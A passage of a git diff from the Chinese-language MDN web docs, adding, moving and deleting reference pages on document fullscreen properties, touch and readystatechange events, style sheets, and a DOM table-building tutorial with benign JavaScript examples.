+      (!document.mozFullScreen && !document.webkitIsFullScreen);
+}
+
+ +

备注

+ +

查看使用全屏模式来了解更多相关内容.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

不属于任何公开的规范

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/fullscreenenabled/index.html b/files/zh-cn/web/api/document/fullscreenenabled/index.html new file mode 100644 index 0000000000..248797541a --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreenenabled/index.html @@ -0,0 +1,82 @@ +--- +title: document.mozFullScreenEnabled +slug: Web/API/Document/mozFullScreenEnabled +translation_of: Web/API/Document/fullscreenEnabled +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

+

语法

+
var isFullScreenAvailable = document.mozFullScreenEnabled;
+
+

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

+

例子

+
function requestFullScreen() {
+  if (document.mozFullScreenEnabled) {
+    videoElement.requestFullScreen();
+  } else {
+    console.log('你的浏览器不支持全屏模式!');
+  }
+}
+
+

备注

+

进入页面使用全屏模式查看详情和示例.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

+

相关链接

+ +

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/getselection/index.html b/files/zh-cn/web/api/document/getselection/index.html deleted file mode 100644 index 73b3a4ce6b..0000000000 --- a/files/zh-cn/web/api/document/getselection/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: document.getSelection -slug: Web/API/Document/getSelection -translation_of: Web/API/DocumentOrShadowRoot/getSelection -translation_of_original: Web/API/Document/getSelection ---- -
-
-

{{APIRef("DOM")}}

- -

该方法的功能等价于 {{domxref("Window.getSelection()")}} 方法;其返回一个 {{domxref("Selection")}} 对象,表示文档中当前被选择的文本。

-
-
- -

 

diff --git a/files/zh-cn/web/api/document/inputencoding/index.html b/files/zh-cn/web/api/document/inputencoding/index.html deleted file mode 100644 index 00701e8acf..0000000000 --- a/files/zh-cn/web/api/document/inputencoding/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: document.inputEncoding -slug: Web/API/Document/inputEncoding -translation_of: Web/API/Document/characterSet -translation_of_original: Web/API/Document/inputEncoding ---- -

{{ ApiRef() }} {{ deprecated_header() }}

-

概述

-

返回一个字符串,代表当前文档渲染时所使用的编码.(比如utf-8).

-
- 警告: 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.
-

语法

-
encoding = document.inputEncoding;
-
-

inputEncoding 是个只读属性.

-

规范

- -

{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreen/index.html b/files/zh-cn/web/api/document/mozfullscreen/index.html deleted file mode 100644 index eb15adcede..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreen/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: document.mozFullScreen -slug: Web/API/Document/mozFullScreen -translation_of: Web/API/Document/fullscreen ---- -

 

- -

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

- -

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

- -

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

- -
-

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

-
- -

 

- -

概述

- -

返回一个布尔值,表明当前文档是否处于全屏模式.

- -

语法

- -
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
-
- -

例子

- -
function isDocumentInFullScreenMode() {
-  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
-  return (document.fullscreenElement && document.fullscreenElement !== null) ||
-      (!document.mozFullScreen && !document.webkitIsFullScreen);
-}
-
- -

备注

- -

查看使用全屏模式来了解更多相关内容.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

规范

- -

不属于任何公开的规范

- -

相关链接

- - - -

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreenelement/index.html b/files/zh-cn/web/api/document/mozfullscreenelement/index.html deleted file mode 100644 index d87cd89683..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenelement/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: document.mozFullScreenElement -slug: Web/API/Document/mozFullScreenElement -translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement ---- -

{{ ApiRef() }}

-

概述

-

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

-

语法

-
var element = document.mozFullScreenElement;
-
-

示例

-
function isVideoInFullsreen() {
-  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
-    console.log('您的视频正在以全屏模式显示');
-  }
-}
-

辅助

-

查看使用"全屏模式"页面了解详情.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

-

相关链接

- diff --git a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html deleted file mode 100644 index 248797541a..0000000000 --- a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: document.mozFullScreenEnabled -slug: Web/API/Document/mozFullScreenEnabled -translation_of: Web/API/Document/fullscreenEnabled ---- -

{{ ApiRef() }}

-

概述

-

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

-

语法

-
var isFullScreenAvailable = document.mozFullScreenEnabled;
-
-

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

-

例子

-
function requestFullScreen() {
-  if (document.mozFullScreenEnabled) {
-    videoElement.requestFullScreen();
-  } else {
-    console.log('你的浏览器不支持全屏模式!');
-  }
-}
-
-

备注

-

进入页面使用全屏模式查看详情和示例.

-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

规范

-

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

-

相关链接

- -

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/onafterscriptexecute/index.html b/files/zh-cn/web/api/document/onafterscriptexecute/index.html new file mode 100644 index 0000000000..f1e976522e --- /dev/null +++ b/files/zh-cn/web/api/document/onafterscriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onafterscriptexecute +slug: Web/API/Element/onafterscriptexecute +tags: + - DOM + - onafterscriptexecute +translation_of: Web/API/Document/onafterscriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概述

+ +

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

+ +

语法

+ +
document.onafterscriptexecute = funcRef;
+
+ +

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

+ +

例子

+ +
function finished(e) {
+  logMessage("Finished script with ID: " + e.target.id);
+}
+
+document.addEventListener("afterscriptexecute", finished, true);
+
+ +

查看在线演示

+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/pointerlockelement/index.html b/files/zh-cn/web/api/document/pointerlockelement/index.html deleted file mode 100644 index eb6ed9cf98..0000000000 --- a/files/zh-cn/web/api/document/pointerlockelement/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Document.pointerLockElement -slug: Web/API/Document/pointerLockElement -translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement ---- -
{{APIRef("DOM")}}
- -

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

- -

语法

- -
var element = document.pointerLockElement;
-
- -

返回值

- -

An {{domxref("Element")}} or null.

- -

特性

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
- -

浏览器兼容

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/document/readystatechange_event/index.html b/files/zh-cn/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..a4f95498ad --- /dev/null +++ b/files/zh-cn/web/api/document/readystatechange_event/index.html @@ -0,0 +1,149 @@ +--- +title: 'Document: readystatechange 事件' +slug: Web/Events/readystatechange事件 +tags: + - Reference + - XMLHttpRequest + - interactive + - 事件 +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

当文档的 {{domxref("Document.readyState", "readyState")}} 属性发生改变时,会触发 readystatechange 事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
Event handler 属性onreadystatechange
+ +

示例

+ +

实时演示

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

IE 浏览器是一直支持 readystatechange 事件的,可作为 DOMContentLoaded 事件的替代方法(参见Browser compatibility的注释 [2])。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/rouchmove_event/index.html b/files/zh-cn/web/api/document/rouchmove_event/index.html deleted file mode 100644 index 1321a0c4d2..0000000000 --- a/files/zh-cn/web/api/document/rouchmove_event/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: touchmove -slug: Web/API/Document/rouchmove_event -translation_of: Web/API/Document/touchmove_event ---- -
{{APIRef}}
- -

当触点在触控平面上移动时触发touchmove事件。

- -

常规信息

- -
-
规范
-
Touch Events
-
接口
-
{{domxref("TouchEvent")}}
-
是否冒泡
-
Yes
-
能否取消默认行为
-
Yes
-
目标
-
Document, Element
-
默认行为
-
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
- For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
- -

示例

- -

这些事件的代码示例在这个页面 Touch events 中均有体现。

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关事件

- - diff --git a/files/zh-cn/web/api/document/stylesheets/index.html b/files/zh-cn/web/api/document/stylesheets/index.html deleted file mode 100644 index de44c8537b..0000000000 --- a/files/zh-cn/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Document.styleSheets -slug: Web/API/Document/styleSheets -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -translation_of_original: Web/API/Document/styleSheets ---- -
{{APIRef}}
- -

Document.styleSheets 只读属性,返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}},每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。

- -

语法

- -
let styleSheetList = document.styleSheets;
-
- -

返回的对象是一个 {{domxref("StyleSheetList")}}。

- -

它是一个 {{domxref("StyleSheet")}} 对象的有序集合。styleSheetList.item(index) 或 styleSheetList{{ mediawiki.External('index') }} 根据它的索引(索引基于0)返回一个单独的样式表对象。

- -
 
- -

规范

- - diff --git a/files/zh-cn/web/api/document/touchmove_event/index.html b/files/zh-cn/web/api/document/touchmove_event/index.html new file mode 100644 index 0000000000..1321a0c4d2 --- /dev/null +++ b/files/zh-cn/web/api/document/touchmove_event/index.html @@ -0,0 +1,171 @@ +--- +title: touchmove +slug: Web/API/Document/rouchmove_event +translation_of: Web/API/Document/touchmove_event +--- +
{{APIRef}}
+ +

当触点在触控平面上移动时触发touchmove事件。

+ +

常规信息

+ +
+
规范
+
Touch Events
+
接口
+
{{domxref("TouchEvent")}}
+
是否冒泡
+
Yes
+
能否取消默认行为
+
Yes
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例

+ +

这些事件的代码示例在这个页面 Touch events 中均有体现。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/document_object_model/preface/index.html b/files/zh-cn/web/api/document_object_model/preface/index.html deleted file mode 100644 index 80f115abfd..0000000000 --- a/files/zh-cn/web/api/document_object_model/preface/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 前言 -slug: Web/API/Document_Object_Model/Preface -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/API/Document_Object_Model/Preface ---- -

{{ ApiRef() }}

-

关于此参考文档

-

本节将描述与此向导本身相关的一些内容,内容包括它是做什么的,里面的信息是如何呈现的,以及怎样在你DOM开发中如何使用这份参考文档中的示例。

-

注意,这份文档尚在开发中,并没有完整包含Gecko中所有已经移植的DOM方法及其属性,但是,文档中的每一个小节(例如,DOM文件参考)中所描述的对象是完整的。今后当某个API库的成员的信息可用时,它将会被整合到此文档中。

-

哪些人应该阅读这份指南

-

这份Gecko DOM参考文档的读者应该是一位web开发人员或者是一位对网页制作有一定了解的熟练web用户。这份文档对读者对DOM、XML、web服务或者web标准,甚至JavaScript——DOM呈现给读者的语言——的熟练度都没有要求。但是,本文档假定读者至少对HTML、标签、网页的基本结构、浏览器以及样式表是熟悉的。

-

在这里,介绍性的资料在展示的同时伴随有许多示例,并且高等级的解释对没有经验的和经验丰富的web开发者都同样有用,并且也并不仅仅针对入门开发者。然而,这是一份正在不断改进中的API参考手册。

-

什么是Gecko?

-

Mozilla,Firefox, Netscape 6以上版本,以及一些基于Mozilla的其他浏览器都有一个相同的对DOM的实现。这是因为它们使用的是相同的技术。

-

Gecko,即在上述各种浏览器中处理HTML的解析,页面的排版,文档对象模型,以及整个应用界面的渲染的软件组件,是一个快速的、兼容多种标准的渲染引擎。它移植了W3C的DOM标准以及出现在网页页面和应用界面(或者称为chrome)中的类DOM(但尚未标准化)的浏览器对象模型(即所谓window等的)。

-

尽管应用界面和页面内容在不同的浏览器里的呈现方式不一样,但是DOM期望它们统一地作为一种节点的分层结构。

-

API语法

-

API参考里的每个描述都包括语法、输入输出参数(包括返回类型),一个例子,额外的一些提示,以及指向对应参考文档的链接。

-

只读的属性只能被读取。因为它们无法被设置,所以通常以一个单独的一行语法表示。例如screen对象的只读属性availHeight使用的语法如下:

-
iAvail = window.screen.availHeight
-
-

这意味着你只能把该只读属性放在等式的右边。

-

可读/写的属性,既能被读取也能被写入:

-
msg = window.status
-window.status = msg
-
-

一般来说,描述对象的成员时,对象的格式声明通常都带有一个简单的类型描述符,例如,对所有的元素使用element,对所有的顶层文档对象使用document,对所有的表对象使用table等(详见重要的数据类型)。

-

如何使用示例

-

本参考文档中的许多示例都是完整的文档,你可以把他们复制粘贴到一个新的文件,然后在浏览器中打开它。

-

其他的例子是一些代码片段。你可以把它们加入到JavaScript的回调函数中来执行。

-

例如,这个关于window.document属性的例子能通过一个函数来测试。这里,它通过一个按钮的onclick 属性来调用。

-
<html>
-<head>
-<title>Test Page</title>
-<script type="text/javascript">
-function testWinDoc() {
-
-  var doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-</head>
-
-<body>
-  <button onclick="testWinDoc();">test document property</button>
-</body>
-</html>
-
-

其他一些尚未完整打包的对象成员也采用与此类似的函数和页面。参见测试DOM API,可以一次对各种API的做一次“无害测试”。

diff --git a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html new file mode 100644 index 0000000000..9d18892707 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -0,0 +1,338 @@ +--- +title: 使用Javascript和DOM Interfaces来处理HTML +slug: 使用Javascript和DOM_Interfaces来处理HTML +tags: + - DOM +translation_of: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +--- +
+

简介

+ +

本文概述了一些强大的,基本的DOM 1 级别中的方法以及如何在JavaScript中使用它们。你将会如何动态地创建,访问,控制以及移除HTML元素。这里提到的DOM方法,并非是HTML专有的;它们在XML中同样适用。这里所有的示例,在任何全面支持DOM level1 的浏览器里都能正常工作;例如Mozilla浏览器或者其他基于Mozilla的浏览器,像网景公司的下一代导航者(Navigatior)浏览器等。这里的示例代码在IE5中也能正常工作。

+ +
这里所提到的DOM方法是文档对象模型规范(版本一)的核心的一部分。DOM 1版本包括对文档进行访问和处理的方法(DOM 1 核心)和专门为HTML文档定义的方法。
+ +

Sample1.html概览

+ +

这段文字是通过一个实例代码来介绍了DOM的。那么我们从下面的HTML示例来开始吧。这段示例使用了DOM1的方法,从JavaScript动态创建了一个HTML表格。它创建了一个包含了四个单元格,并且在每个单元格中含有文本。单元中文字内容是“这个单元式y行x列”,来展示单元格在表格中所处的位置。

+ +
<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口创建一个 HTML 表格</title>
+<script>
+    function start() {
+        // 获得从body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个TABLE的元素
+        var mytable = document.createElement("TABLE");
+        // 创建一个TBODY的元素
+        var mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个TR元素
+          var  mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个TD元素
+              var  mycurrent_cell=document.createElement("TD");
+                // 创建一个文本(text)节点
+              var  currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将我们创建的这个文本节点添加在TD元素里
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD元素添加在TR里
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR元素添加在TBODY里
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY元素添加在TABLE里
+        mytable.appendChild(mytablebody);
+        // 将TABLE元素添加在BODY里
+        mybody.appendChild(mytable);
+        // 设置mytable的边界属性border为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

注意我们创建元素和文本节点的顺序:

+ +
    +
  1. 首先我们创建了TABLE元素。
  2. +
  3. 然后,我们创建了TABLE的子元素--TBODY。
  4. +
  5. 然后,我们使用循环语句创建了TBODY的子元素--TR。
  6. +
  7. 对于每一个TR元素,我们使用一个循环语句创建它的子元素--TD。
  8. +
  9. 对于每一个TD元素,我们创建单元格内的文本节点。
  10. +
+ +

现在,我们创建了TABLE,TBODY,TR,TD等元素,然后创建了文本节点;接下来,我们将每一个对象接在各自的父节点上,使用逆序:

+ +
    +
  1. 首先,我们将每一个文本节点接在TD元素上 +
    mycurrent_cell.appendChild(currenttext);
    +
  2. +
  3. 然后,我们将每一个TD元素接在他的父TR元素上。 +
    mycurrent_row.appendChild(mycurrent_cell);
    +
  4. +
  5. 然后,我们将每一个TR元素接在他们的父TBODY元素上。 +
    mytablebody.appendChild(mycurrent_row);
    +
  6. +
  7. 下一步,我们将TBODY元素接在他的父TABLE元素上 +
    mytable.appendChild(mytablebody);
    +
  8. +
  9. 最后,我们将TABLE元素接在他的父元素BODY上。 +
    mybody.appendChild(mytable);
    +
  10. +
+ +

请记住这个机制。你将会在W3C DOM编程中经常使用它。首先,你从上到下的创建元素;然后你从下向上的将子元素接在他们的父元素上。

+ +

下面是由javascript代码生成的HTML代码:

+ +
...
+<table border="2">
+<tbody>
+<tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr>
+<tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr>
+</tbody>
+</table>
+...
+
+ +

下面是由代码生成的TABLE及其子元素的DOM对象树:

+ +

Image:sample1-tabledom.jpg

+ +

你可以只用一些DOM方法来创建这个表格和它内部的子元素。请在脑海中时刻保留你想要创建的数据结构的树之模型,这样有利于更简便的写出必须的代码。在图1的TABLE树中,TABLE有一个子元素TBODY。TBODY有两个子元素。每一个TR又含有两个子元素(TD)。最后,每一个TD有一个子元素--文本节点。

+ +

基本DOM方法 - Sample2.html

+ +

getElementByTagName是文档接口(Document interface)和元素接口(Element interface)的中的方法,所以不管是根文档对象还是所有的元素对象都含有方法getElementByTagName。用来通过它们的标签名称(tag name)来获得某些元素的一系列子元素。你可以使用的方法是:element.getElementsByTagName(tagname)

+ +

getElementsByTagName返回一个有特定标签名称(tagname)的子元素列表。从这个子元素列表中,你可以通过调用item和你想得到的元素的下标,来获得单个元素。列表中第一个元素的下标是0。上面的方法很简单,但是当你操作一个巨大的数据结构时还是应该小心一些。 OK,我们下一个话题中要继续对我们的表格例子进行修改。下面的示例更加简单,它意图展示一些基础的方法:

+ +
<html>
+<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口操作 HTML 表格</title>
+<script>
